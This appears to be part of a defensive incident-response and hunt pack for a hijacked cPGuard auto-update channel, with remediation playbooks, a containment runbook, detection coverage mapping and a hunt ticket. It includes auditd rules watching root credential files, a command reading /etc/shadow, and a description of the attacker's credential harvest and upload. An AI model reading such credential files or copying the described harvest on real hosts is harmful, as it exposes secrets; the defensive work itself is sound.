Playbook 2. Update cPGuard and verify
Prerequisites: Playbook 1 evidence copied off host; maintenance window agreed
Reboot required: No
Rollback: none required: do not downgrade. A failed update means contact OPSSHIELD Support; never roll back to an affected version
cpgcli update --start cpgcli --version # Expect 5.88.25 or later.
Playbook 3. auditd watches for credential files and /var/tmp execution
Prerequisites: auditd installed and running; rules directory writable
Reboot required: No (unless audit is set immutable with -e 2, which then needs a reboot to change)
Rollback: Delete the rules file and reload: rm /etc/audit/rules.d/99-credfiles.rules && augenrules --load
cat > /etc/audit/rules.d/99-credfiles.rules <<'EOF' -w /etc/shadow -p r -k cred_read -w /root/.ssh -p rwa -k root_ssh -w /root/.my.cnf -p r -k root_mycnf -w /root/.bash_history -p r -k root_hist -a always,exit -F arch=b64 -S execve -F dir=/var/tmp -k vartmp_exec EOF augenrules --load auditctl -l | grep -E 'cred_read|root_ssh|vartmp_exec' # Note: the execve rule's dir= filter matches exec of files in that directory only on kernels that support it; verify with a test.
Playbook 4. Mount /var/tmp noexec,nosuid,nodev
Prerequisites: Pilot on a non-production host; confirm cPanel components and backups that execute from /var/tmp; fstab backed up
Reboot required: No for the remount; the fstab entry applies at next boot
Rollback: Restore the backup: cp /etc/fstab.pre-vartmp /etc/fstab && mount -o remount,exec,suid,dev /var/tmp
cp /etc/fstab /etc/fstab.pre-vartmp findmnt /var/tmp # If /var/tmp is its own mount, add noexec,nosuid,nodev to its options in /etc/fstab, then: mount -o remount,noexec,nosuid,nodev /var/tmp findmnt /var/tmp # If /var/tmp is not a separate mount, a bind mount of a dedicated directory is required; test before production.
Playbook 5. Credential rotation checklist (run from a trusted device or recovery environment)
Prerequisites: Out-of-band console access; a plan for dependent services; cloud console access
Reboot required: No
Rollback: Lockout recovery only: use console access to reset the password again. Do not restore old credentials, they are compromised
# Per OPSSHIELD: from a trusted environment
passwd root
# repeat for every password-enabled local account (list them):
awk -F: '($2 !~ /^[!*]/) {print $1}' /etc/shadow
# SSH: generate replacement keys on a trusted machine, deploy the new public key, then remove the old key lines
ssh-keygen -t ed25519 -f ./replacement_key
# Rotate: MariaDB/MySQL passwords (and sync cPanel's stored copy through its supported tool),
# S3 access keys, DigitalOcean tokens, and any secret seen in root's shell history.
Containment Runbook
| Phase | Actions | Owner | Evidence |
|---|---|---|---|
| Isolate | Scope first: servers whose install_log shows an update from 5.88.12 to 5.88.19, plus servers with a missing or incomplete log. Isolate any server with the named hidden paths, a credential-sweep hit (Q4) or an upload hit (Q6). A server that only installed the update and shows none of these can usually stay online while you update and rotate credentials. | SOC | Host list with install_log output and isolation timestamps |
| Preserve | Playbook 1: keep install_log, the hidden directory, loot.tgz and the backdoor shell with hashes, copied off host. Do not run the backdoor. | IR | Evidence folder hashes |
| Eradicate | Playbook 2: update to 5.88.25 or later (the vendor says this removes the known backdoor and staged files). Confirm the named paths are gone. The vendor does not recommend a routine rebuild; rebuild if you find other signs of compromise or cannot establish integrity, and ask OPSSHIELD Support for a case assessment. | Endpoint engineering | cpgcli --version output; find results |
| Scope credentials | Assume the harvested set is exposed: shadow hashes, root SSH files, my.cnf secrets and anything in shell history. Review logons, database and cloud audit logs since 2026-11-02 (Section 7.4 and 7.5). Hashes are cracked offline, so weak passwords are the highest risk. | IR with identity and cloud teams | Credential inventory; audit extracts |
| Recover | Playbook 5: rotate from a trusted environment, replace SSH keys, revoke sessions and tokens. Confirm no unexplained logons after rotation. | Identity / Endpoint engineering | Rotation records |
| Prevent recurrence | Section 12 items 3, 5, 6, 7 and 11; add Q1, Q2 and Q5 as detect-only IOAs after the Section 11 gates pass. | Security engineering | Control verification output |
Detection Coverage Map
| Technique | Behavior | CQL | IOA | CrowdStrike coverage | SentinelOne | Defender XDR |
|---|---|---|---|---|---|---|
| T1195.002 | Malicious script delivered via the vendor update channel | Q1, Q8 | Q1 | Partial (script run seen; the delivery and installed version are outside endpoint telemetry, use install_log) | Partial: same limit as CrowdStrike | Partial: same limit as CrowdStrike |
| T1059.004 | Shell script and backdoor shell execution | Q1, Q2 | Q1, Q2 | Good (if the sensor is present and the script runs as a new process) | Good, with assumptions | Good, with assumptions |
| T1564.001 | Hidden dotfile paths under /var/tmp | Q2, Q3 | Q2 | Partial (executables and command lines; a non-executable backdoor file write is not reported) | Partial: Q3 approximate | Partial: Q3 approximate |
| T1003.008 | /etc/shadow and /etc/passwd collected | Q4 | n/a | Partial (command-line sweep only; builtin reads are invisible) | Partial: same limit as CrowdStrike | Partial: same limit as CrowdStrike |
| T1552.001, T1552.003 | Root my.cnf and shell history collected | Q4 | n/a | Partial (same limit as above; add the Playbook 3 audit rules) | Partial: same limit as CrowdStrike | Partial: same limit as CrowdStrike |
| T1552.004 | Root SSH authorization and known-hosts files collected | Q4 | n/a | Partial (same limit as above) | Partial: same limit as CrowdStrike | Partial: same limit as CrowdStrike |
| T1074.001, T1560.001 | Staging and archive in the hidden directory | Q5 | Q5 | Good (if archived with a utility that appears on the command line) | Good, with assumptions | Good, with assumptions |
| T1041 | Upload to the licensing server | Q6, Q7 | n/a | GAP (method and host unpublished; Q6 tests the command line only and Q7 is an unfilled placeholder) | GAP: same limit as CrowdStrike | GAP: same limit as CrowdStrike |
| T1078 | Later use of harvested credentials | none | n/a | GAP (outside endpoint telemetry: authentication, database and cloud audit logs) | GAP | GAP |
Honest gaps. The vendor deletes the named files during cleanup, the upload details are not published, and file reads inside a shell leave no process event. A zero result is not clearance: run the Section 7 install_log check on every cPGuard server. Validation gates are in Section 11; no positive control has been run yet.
Hunt Summary Ticket
TITLE: Hunt for the cPGuard update channel compromise (exposure, not confirmed compromise per host)
SEVERITY: High (vendor-pushed script reached servers via auto-update; credential files collected; backdoor shell left;
vendor estimates 32 retrieved files, BleepingComputer reports 2,946 servers affected, single-sourced)
SCOPE: Linux servers running cPGuard that installed an update from 5.88.12 through 5.88.19 on or after
2026-11-02 02:06 UTC (fixed in 5.88.25 or later)
HYPOTHESIS: The update ran cpguard-v58812-i91511.sh, collected root credential files into /var/tmp/.cpg91511,
uploaded loot.tgz to the licensing server and left /var/tmp/.cpg91511_sh.
QUERIES: Q1-Q8 (Section 8); native checks (Section 7)
DO FIRST: 1) grep 'Successfully updated' /opt/cpguard/logs/install_log on every cPGuard server.
2) Preserve the hidden artifacts (Playbook 1), then update to 5.88.25 or later (Playbook 2).
3) Rotate credentials from a trusted environment (Playbook 5).
FINDINGS: [fill in after execution]
GAPS: Upload host and method unpublished; named files are deleted by cleanup; shell builtin reads and later
credential use are outside endpoint telemetry; no hash, IP or domain published.
ACTIONS: Promote Q1/Q2/Q5 to detect-only Custom IOA after the Section 11 gates pass. Deploy Section 12 items 1 to 4.
OWNER: HuntPack
VERSION: v0.1 -- 2026-11-04
Changelog
References
| Tier | Source | Used For | Access Date |
|---|---|---|---|
| 1 | OPSSHIELD: cPGuard security advisory, update channel compromise (2026-11-03) | Timeline, versions, collected data, named artifacts, install_log check, remediation | 2026-11-04 |
| 2 | The Hacker News: cPGuard Update Channel Hijacked to Backdoor Linux Servers and Collect Password Hashes (2026-11-03) | Corroboration, artifact descriptions, support-access key note | 2026-11-04 |
| 2 | BleepingComputer: Hackers hijack cPGuard autoupdate to deploy backdoor, steal data (2026-11-03) | Single-sourced 2,946-server figure; extraction snapshot only | 2026-11-04 |
| 2 | SecurityOnline: cPGuard Supply Chain Attack Pushes Backdoor Through Update Channel | Corroboration of date, versions and backdoor path | 2026-11-04 |
All four sources are saved to cPGuard-OpsShield-SupplyChain-Hunt-sources/ for provenance re-verification. MITRE mitigation and CIS Linux Benchmark references in Section 12 are cited as control families only; those pages were not fetched and no indicator or campaign claim depends on them.